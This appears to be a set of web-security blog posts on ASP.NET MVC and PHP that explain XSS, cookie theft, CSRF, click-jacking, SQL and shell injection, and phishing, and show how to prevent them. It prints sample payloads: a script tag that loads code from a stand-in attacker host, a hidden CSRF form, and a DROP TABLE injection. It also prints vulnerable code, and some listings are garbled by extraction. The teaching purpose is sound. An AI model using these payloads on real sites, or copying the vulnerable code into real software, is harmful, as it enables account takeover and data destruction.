Cookie Stealing Attack in MVC Application

In today's blog post, I am going to discuss what cookie stealing attack is and how we can prevent it.

Cookie

Cookie is a small piece of data sent by a web server to a web browser. The browser stores this data in a text file. This data is sent by the browser to the web server each time it requests a page from that server.
Cookies store information like your site preferences or history so that they can customize the page for you, every time you request it. So that information is usually not what attacker cares about. Cookies are also used to store information that uniquely identify the user such as the Authentication Ticket. That's more luring to the attacker ;) If the attacker can steal someone's authentication cookie they can simply get access to the complete account.

Cookie Stealing using XSS

In order to steal the cookie, the attacker can write a script which reads all the cookies and sends it to the attacker. If you search about it on google, you can find plenty of scripts that read all the cookies and send it to a specific server.  If the site is XSS vulnerable, the attacker's task is made easy. He can simply get the script executed on anyone's machine and get all the cookies.
Once the attacker gets the authentication cookie, he can copy the Session Id/ Username, etc and plug that information into his own browser and get access to the victim's account. Isn't it simple?

How to Prevent?

In order to prevent the scripts to access the cookies we need to set the flag called HttpOnly to true. This allows the scripts to be accessed only by Http and disables all kinds of script access. We can set this flag at the application level in system.web section in web.config like this:
 
<httpCookies domain="" httpOnlyCookies="true|false" requireSSL="true|false" />

If we need to set it at per cookie level, we can set it like this:

Response.Cookies["ImpCookie"].HttpOnly=true;

Conclusion

Cookies can store valuable information and should be protected. We should set the cookie access to HttpOnly in order to prevent their access from malicious scripts.
For future updates to my weekly blog, please subscribe to the blog.

Cross Site Scripting Attack Prevention

Last week I discussed what cross site scripting attack is. In today's blog post I am going to discuss some measures which can help prevent cross site scripting attack in MVC applications.

How to Prevent

Encoding the content is the best way to prevent XSS attack. We need to encode both HTML and Javascript content. Let's discuss each of these one by one.

Encode HTML

The output on the pages should be HTML encoded or HTML attribute encoded. In Web Forms, we could use Html.Encode like this:

<% Html.Encode(Model.DataToEncode) %>

 Or shorthand like this:

<%: Model.DataToEncode %>

The Razor View Engine HTML encodes output by default. So a Model property on the View like this:

@Model.LastName

will be automatically encoded.
If we want to access raw data with no encoding then we need to use Html.Raw like this:

@Html.Raw(Model.LastName)

One should be extremely careful while using Html.Raw() as it opens doors for many security vulnerabilities.

Encode Javascript

Similarly, if we need to display user input in Javascript, we should do Javascript encoding like this:

@Ajax.JavaScriptStringEncode(ViewBag.UserName)

In the example, that I gave in my previous blog post, if the attacker tries to provide malicious input like this:

\x3cscript\x3e%20alert(\x27EVIL\x27)%20\x3c/script\x3e
 
 and the input is Javascript encoded then it will be rendered.

Conclusion

In order to prevent cross site scripting attack, we should not trust user input. We should always HTML encode/ Javascript encode the data.
For future updates to my weekly blog, please subscribe to the blog.

Cross Site Scripting attack in MVC

As everyone liked the last week's blog post on Cross Site Request Forgery attack, I decided to post about another well-known security vulnerability in MVC applications. It's called Cross Site Scripting (aka XSS) attack. Its the most common security vulnerability across the web and can be the most nasty one.

Cross Site Scripting

In simple words, it's an attack whereby attacker injects some scripts into a web page which then affects the victim. These attacks are divided into 2 categories viz Active and Passive. Let's take a look at each of these one by one.

Passive Injection

This type of attack occurs when the website accepts unsanitized input by the attacker and later displays it to the victim. Suppose we have an online messaging board or blog that allows users to post comments. If the input is accepted as is, the attacker can inject a script tag in the comment which might be something like this:

Nice Post</div><script>src=http://attackersite.com/evilscript.js</script>

The closing tag can close the previously open div and then a script tag mentions the javascript file to be executed. To find out the type of tag to close and how to structure the malicious comment might require some inspection of the web page and some hit and trials. This comment then gets saved on the server and gets displayed to others who access the webpage. The script tag posted by attacker won't be displayed when the page is rendered but the javascript will be executed on the client side. So the attacker can execute a malicious script on the victim's machine which can tamper the webpage or steal victim's personal information and send it to the attacker.

Using the script tag, attacker can point to an external javascript file or use embedded javascript. Here are some ways other than the script tag to execute javascript:

<img src="javascript:alert('Hacked');">

<body onload=alert("Hacked")>

<div style="background-image: url(javascript:alert('Hacked'))">

I can not cover all the ways by which the script can be inserted but the point is that attacker is able to execute some malicious javascript code on anyone's machine who accesses the website.

Active Injection

For active injection, the user input is directly used on the webpage and is not saved on the server. Suppose we have a website that takes user's name as input and shows a welcome message. Note that the name is coming from the query string parameter.



As an attacker, I can pass this as the query string parameter: \x3cscript\x3e%20alert(\x27EVIL\x27)%20\x3c/script\x3e. And this is what it does:


I was able to execute javascript code by manipulating the query string parameter displayed. Now everyone must be thinking that this is the script that the attacker executed on his own machine. How does it affect the victim? Well, the attacker might be able to make the victim click on such a malformed link which will then execute the malicious javascript on the client machine. To make the victim click on the link might require some social engineering or some other devious techniques. But again, some malicious code can be run on victim's machine without the victim's knowledge.

Conclusion

In this blog post, we saw what cross site scripting attack is and it's 2 different categories. In the next week's post, I am going to cover how to prevent the cross site scripting attacks.
For future updates to my weekly blog, please subscribe to the blog.

Common Security Mistakes in Web Applications

Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.
There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.
We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

1. Cross-Site Scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.
Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

1

2	echo "$user said $message";

3

?>

To read the message in from the user, we’d have code like this:

1

2	$user = $_COOKIE['user'];

3	$message = $_REQUEST['message'];

4	if($message) {

5	save_message($user, $message);

6

}

7

?>

8	"text" name="message" value="">

This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like or . We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

1	Hi there...

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).
When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.
This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.
We can change our PHP code to the following:

01

02	$user = filter_input(INPUT_COOKIE, 'user',

03	FILTER_SANITIZE_SPECIAL_CHARS);

04	$message = filter_input(INPUT_POST | INPUT_GET, 'message',

05	FILTER_SANITIZE_SPECIAL_CHARS);

06	if($message) {

07	save_message($user, $message);

08

}

09

?>

10	"text" name="message" value="">

Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.
Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.
PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.
If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-Site Request Forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.
Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

1	<img src="http://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"

2	style="position:absolute;left:-999em;">

Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.
Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

1	<iframe name="pharma" style="display:none;">iframe>

2	<form id="pform"

3	action="h++p://www.mybiz.com/post_message"

4	method="POST"

5	target="pharma">

6	<input type="hidden" name="message" value="Cheap medicine at ...">

7

form>

8	<script>document.getElementById('pform').submit();script>

Which will POST the form back to www.mybiz.com.
The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.
There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

1

2	function get_nonce() {

3	return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));

4

}

5

?>

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.
An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

1

2	function get_nonce() {

3	$nonce = md5($salt . ":"  . $user);

4	$_SESSION['nonce'] = $nonce;

5	$_SESSION['nonce_time'] = time();

6	return $nonce;

7

}

8

?>

We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

1

2	if(!verify_nonce($_POST['nonce'])) {

3	header("HTTP/1.1 403 Forbidden", true, 403);

4

exit();

5

}

6	// proceed normally

7

?>

This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.
If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-Jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.
Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.
Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.
A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

1	<input type="text" name="message" value="">

2	<input id="msg_btn" type="submit" disabled="true">

3	<script type="text/javascript">

4	if(top == self) {

5	document.getElementById("msg_btn").disabled=false;

6

}

7

script>

This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL Injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

Full image (from xkcd)
Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

01

02	function save_message($user, $message)

03

{

04	$sql = "INSERT INTO Messages (

05	user, message

06	) VALUES (

07	'$user', '$message'

08

)";

09

10	return mysql_query($sql);

11

}

12

?>

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

1	test');DROP TABLE Messages;--

When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

1	test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.
Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

01

02	function save_message($user, $message)

03

{

04	// $dbh is a global database handle

05	global $dbh;

06

07	$stmt = $dbh->prepare('

08	INSERT INTO Messages (

09	user, message

10	) VALUES (

11

?, ?

12

)');

13	return $stmt->execute(array($user, $message));

14

}

15

?>

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.
There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell Injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.
Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.
The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.
If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.

If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.
Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further Reading

1. OWASP Top 10 security risks
2. XSS
3. CSRF
4. Phishing
5. Code injection
6. PHP’s input filters
7. Password anti-pattern
8. OAuth
9. Facebook Like button click-jacking
10. Anti-anti frame-busting
11. The Yahoo! Security Center also has articles on how users can protect themselves online.